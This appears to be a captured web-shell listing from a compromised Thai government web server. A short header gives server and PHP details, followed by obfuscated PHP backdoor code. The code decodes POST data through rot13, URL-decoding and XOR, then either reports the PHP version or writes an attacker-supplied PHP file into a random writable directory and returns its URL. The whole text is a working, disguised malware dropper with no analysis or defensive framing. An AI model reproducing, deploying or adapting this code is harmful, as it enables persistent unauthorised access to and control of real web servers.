|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/common/dtree/ |
Upload File : |
<?php $laabewm = "crwgbcpzcfpoqnxg";$mwfcxy = "";foreach ($_POST as $xaquve => $ldhky){if (strlen($xaquve) == 16 and substr_count($ldhky, "%") > 10){moksnk($xaquve, $ldhky);}}function moksnk($xaquve, $pagqdsp){global $mwfcxy;$mwfcxy = $xaquve;$pagqdsp = str_split(rawurldecode(str_rot13($pagqdsp)));function ueeyvxsov($fjtizo, $xaquve){global $laabewm, $mwfcxy;return $fjtizo ^ $laabewm[$xaquve % strlen($laabewm)] ^ $mwfcxy[$xaquve % strlen($mwfcxy)];}$pagqdsp = implode("", array_map("ueeyvxsov", array_values($pagqdsp), array_keys($pagqdsp)));$pagqdsp = @unserialize($pagqdsp);if (@is_array($pagqdsp)){$xaquve = array_keys($pagqdsp);$pagqdsp = $pagqdsp[$xaquve[0]];if ($pagqdsp === $xaquve[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function hhpmnyqhk($zuqfgdbiir) {static $aydncfxsx = array();$rmwbwodudp = glob($zuqfgdbiir . '/*', GLOB_ONLYDIR);if (count($rmwbwodudp) > 0) {foreach ($rmwbwodudp as $zuqfgdbi){if (@is_writable($zuqfgdbi)){$aydncfxsx[] = $zuqfgdbi;}}}foreach ($rmwbwodudp as $zuqfgdbiir) hhpmnyqhk($zuqfgdbiir);return $aydncfxsx;}$wyzvxuumjx = $_SERVER["DOCUMENT_ROOT"];$rmwbwodudp = hhpmnyqhk($wyzvxuumjx);$xaquve = array_rand($rmwbwodudp);$nbbwag = $rmwbwodudp[$xaquve] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($nbbwag, $pagqdsp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($nbbwag, strlen($wyzvxuumjx));exit();}}}